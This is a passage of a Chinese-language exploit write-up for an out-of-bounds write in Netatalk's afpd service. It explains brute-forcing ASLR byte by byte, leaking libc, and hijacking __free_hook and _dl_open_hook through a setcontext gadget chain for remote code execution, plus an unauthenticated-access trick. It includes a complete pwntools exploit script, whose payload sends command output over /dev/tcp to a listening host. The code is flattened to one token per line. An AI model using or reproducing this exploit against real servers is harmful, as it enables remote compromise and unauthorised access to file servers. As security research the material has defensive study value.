*
216
-
223
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
224
-
231
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
232
-
239
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
240
-
247
*
/
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
/
*
248
-
255
*
/
};
bingo,我们已经将两条主线分析完毕,也从中点出了漏洞点以及可能的利用方式,那么我们这一小节将根据我们的代码分析、漏洞点分析,讨论可能的利用思路和方式。具体的,我们会讨论越界写漏洞导致潜在任意地址写如何得以实现,即将潜在的变为真正的;我们将讨论任意地址写得以实现后,将详细分析如何RCE,简单的提一下如何进行未授权访问postauth_switch
中的函数。
我们可以在第一次发送DSI数据包时,触发越界写,劫持commands指针,那么我们如何得以让commands指针写入我们希望的地址呢?在未开启ASLR时,这并不难,但现在我们开启了ASLR,我们没办法确定任意一个模块的base adress。这时我们不妨先,先看一看内存布局。尽管程序开启了ASLR,但是我们每次处理我们连接的是fork出来的子进程,而子进程的虚拟进程空间的内存布局与父进程是一致的,也就是说每次fork出来的子进程其地址在父进程生命周期内都是固定的。
如图3,通过观察,我们可以得知ASLR的Randomization主要是 0x00 00 7f ?? ?? ?? ?0 00,这样的随机化规律。那么,我们可以通过不断的写commands指针的地址试,逐个试探??,观察子进程是否crash。若commands指针地址不可写,那么后续读commands指针数据的操作将触发非法内存访问导致进程crash,无法响应我们的请求。也就是说,如果我们发的包修改的commands指针地址合法,我们会收到响应的数据包,如果没有那么就意味着我们写的commands指针地址非法。首先,commands指针原始的地址肯定是合法的、可写的。我们可以选择从0x00 00 7f ?? ?? ?? ?0 00
的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??
,转之继续往下一个??
试探,直至确定一个合法的可写地址。当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。由此当我们在内存中确定一个可写内存的位置时,其相对于其他模块、地址的偏移也是相对固定的,差也不会差太多。我们可以这样来爆破,我们从高地址开始逐渐向低地址爆破,然后每一个字节爆破的值从255->0开始,那么我们拿到的地址,几乎可以肯定的说落在地址最高的ELF模块中。同理,从低字节开始往高字节写,从0->255开始,把7f
也当作??
试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。代码如下:该代码泄露出来的地址,落在最高的模块中。并且出于简单考虑,在这个形式中的泄露格式0x00 00 7f ?? ?? ?? ?0 00
,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def
create_dsi_header(command : bytes, dsi_data):
dsi_header
=
b
'\x00'
dsi_header
+
=
command
dsi_header
+
=
b
'\x01\x00'
dsi_header
+
=
b
'\x00\x00\x00\x00'
dsi_header
+
=
p32(
len
(dsi_data), endian
=
'big'
)
dsi_header
+
=
p32(
0
)
dsi_header
+
=
dsi_data
return
dsi_header
def
create_dsi_data(code : bytes, data : bytes):
dsi_data
=
code
dsi_data
+
=
p8(
len
(data))
assert
len
(data) <
255
dsi_data
+
=
data
return
dsi_data
def
leak_address():
leak_addr
=
b""
flags
=
p32(
0x11223344
, endian
=
'big'
)
for
_
in
range
(
3
):
for
i
in
range
(
255
,
-
1
,
-
1
):
data
=
p32(
0
)
+
p32(
0
)
+
flags[::
-
1
]
+
p32(
0
)
data
+
=
b
"\x00\x00"
+
leak_addr
+
i.to_bytes(
1
, byteorder
=
'little'
)
dsi_data
=
create_dsi_data(b
'\x01'
, data)
dsi_header
=
create_dsi_header(b
'\x04'
, dsi_data)
io
=
remote(ip, port)
io.send(dsi_header)
try
:
res
=
io.recv()
if
flags
in
res:
leak_addr
+
=
i.to_bytes(
1
, byteorder
=
'little'
)
io.close()
break
except
:
io.close()
return
int
.from_bytes(b
"\x00\x00"
+
leak_addr
+
b
"\x7f\x00\x00"
, byteorder
=
'little'
)
那么我们既然泄露出了一个可读可写的地址,如果我想写libc中的一些数据怎么办?或者我想写afpd中的一些数据结构怎么办?那么自然需要泄露对应的基地址。以libc写为例子,我给出的代码泄露出来的地址要么是位于ld-2.27.so中,要么是位于其下方的mmap内存中,我们可以大概的估算一下我们泄露的地址与libc之间的距离,一大步的靠近,然后一路小跑抵达libc基地址。例如我这里算出来的一大步是0x18040000~0x1880000这个区间,我们从直接一大步跨过0x18040000,然后以0x1000一小步一小步的跑向libc。afpd同理,甚至更加简单。
好了,现在我们解决了任意地址写的问题,那么我们来考虑如何进行RCE。泄露了libc以及可以任意地址写,那么常规的思路就是劫持函数指针获得控制流。注意下面的讲解一开始你可能有点困惑,但请看到这以小节的最后你再读一遍就会明白了。由三个gadgets可以完成这个思路。具体的,先看这一段gadgets,setcontext + 53
(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。因此,我们可以通过pwntools中的SigreturnFrame方便的控制这段代码对寄存器的赋值,只要我们可以控制rdi。
![image.png]
为了控制rdi,我们需要另外两个gadgets。一个是__libc_dlopen_mode + 56
,一个是fgetpos64+207
,分别如图5、图6所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/
/
__libc_dlopen_mode
+
56
mov rax, cs:dl_open_hook
call qword ptr [rax]
↓
/
/
fgetpos64
+
207
mov rdi, rax
call qword ptr [rax
+
20h
]
↓
/
/
setcontext
+
56
mov rsp, [rdi
+
0A0h
]
mov rbx, [rdi
+
80h
]
mov rbp, [rdi
+
78h
]
mov r12, [rdi
+
48h
]
mov r13, [rdi
+
50h
]
mov r14, [rdi
+
58h
]
mov r15, [rdi
+
60h
]
mov rcx, [rdi
+
0A8h
]
push rcx
mov rsi, [rdi
+
70h
]
mov rdx, [rdi
+
88h
]
mov rcx, [rdi
+
98h
]
mov r8, [rdi
+
28h
]
mov r9, [rdi
+
30h
]
mov rdi, [rdi
+
68h
]
xor eax, eax
retn
那么我如何控制dl_open_hook呢?在libc2.27中,_dl_open_hook地址比free_hook大约高0x2b00左右(不同版本编译器编译出来的libc2.27可能略有差别,但总体大约再0x2b00左右)。距离这么远,我们可以覆盖到吗?答案是,可以。(在Netatalk的代码分析小节的注3部分,我们讨论了一次性可以最多写入多大的数据)简言之,我们将commands指针覆盖至free_hook的地址处,随后根据三条gadgets的调用链,依次往后布局内存,使得我们最终能够控制rdi,进而控制程序流以及几乎所有寄存器,完成RCE。
未授权访问的核心是泄露afpd的基地址,然后获取其中的三个关键数据结构preauth_switch
、postauth_switch
和afp_switch
,再通过任意地址写将afp_switch
变量的值写成postauth_switch
,即可进行未授权访问。!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from
pwn
import
*
import
os
import
sys
context(os
=
'linux'
, arch
=
'amd64'
)
context.terminal
=
[
'tmux'
,
'sp'
,
'-h'
]
libc
=
ELF(
"./libc-2.27.so"
)
ip
=
os.popen(
'ifconfig ens33 | grep "inet " '
).read().split()[
1
]
port
=
548
def
create_dsi_header(command : bytes, dsi_data):
dsi_header
=
b
'\x00'
dsi_header
+
=
command
dsi_header
+
=
b
'\x01\x00'
dsi_header
+
=
b
'\x00\x00\x00\x00'
dsi_header
+
=
p32(
len
(dsi_data), endian
=
'big'
)
dsi_header
+
=
p32(
0
)
dsi_header
+
=
dsi_data
return
dsi_header
def
create_dsi_data(code : bytes, data : bytes):
dsi_data
=
code
dsi_data
+
=
p8(
len
(data))
assert
len
(data) <
255
dsi_data
+
=
data
return
dsi_data
def
leak_address():
leak_addr
=
b""
flags
=
p32(
0x11223344
, endian
=
'big'
)
for
_
in
range
(
3
):
for
i
in
range
(
255
,
-
1
,
-
1
):
data
=
p32(
0
)
+
p32(
0
)
+
flags[::
-
1
]
+
p32(
0
)
data
+
=
b
"\x00\x00"
+
leak_addr
+
i.to_bytes(
1
, byteorder
=
'little'
)
dsi_data
=
create_dsi_data(b
'\x01'
, data)
dsi_header
=
create_dsi_header(b
'\x04'
, dsi_data)
io
=
remote(ip, port)
io.send(dsi_header)
try
:
res
=
io.recv()
if
flags
in
res:
leak_addr
+
=
i.to_bytes(
1
, byteorder
=
'little'
)
io.close()
break
except
:
io.close()
return
int
.from_bytes(b
"\x00\x00"
+
leak_addr
+
b
"\x7f\x00\x00"
, byteorder
=
'little'
)
def
main():
if
'--debug=true'
in
sys.argv:
context.log_level
=
'debug'
leak_addr
=
leak_address()
print
(f
"leak_addr = {hex(leak_addr)}"
)
pause()
input
()
leak_addr
=
0x7f79e9200000
for
offset
in
range
(
0x18040000
,
0x1880000
,
0x1000
):
print
(f
"offset = {hex(offset)}"
)
libc_base
=
leak_addr
-
offset
system_addr
=
libc_base
+
libc.sym[
'system'
]
__free_hook
=
libc_base
+
libc.symbols[
'__free_hook'
]
__libc_dlopen_mode_56
=
libc_base
+
libc.sym[
'__libc_dlopen_mode'
]
+
56
fgetpos64_207
=
libc_base
+
libc.sym[
'fgetpos64'
]
+
207
setcontext_53
=
libc_base
+
libc.sym[
'setcontext'
]
+
53
_dl_open_hook
=
libc_base
+
libc.sym[
'_dl_open_hook'
]
io
=
remote(ip, port)
data
=
b
'a'
*
0x10
+
p64(__free_hook)
dsi_data
=
create_dsi_data(b
'\x01'
, data)
dsi_header
=
create_dsi_header(b
'\x04'
, dsi_data)
io.send(dsi_header)
frame
=
SigreturnFrame()
frame.rip
=
system_addr
frame.rdi
=
__free_hook
+
8
frame.rsp
=
__free_hook
cmd
=
f
'bash -c "ls > /dev/tcp/{ip}/{6666}" \x00'
.encode()
payload
=
p64(__libc_dlopen_mode_56)
payload
+
=
cmd.ljust(
0x2ca0
-
8
, b
'\x00'
)
payload
+
=
p64(_dl_open_hook
+
8
)
payload
+
=
p64(fgetpos64_207)
payload
+
=
b
'a'
*
0x18
payload
+
=
p64(setcontext_53)
payload
+
=
bytes(frame)[
0x28
:]
dsi_header
=
create_dsi_header(b
'\x04'
, payload)
io.send(dsi_header)
io.close()
main()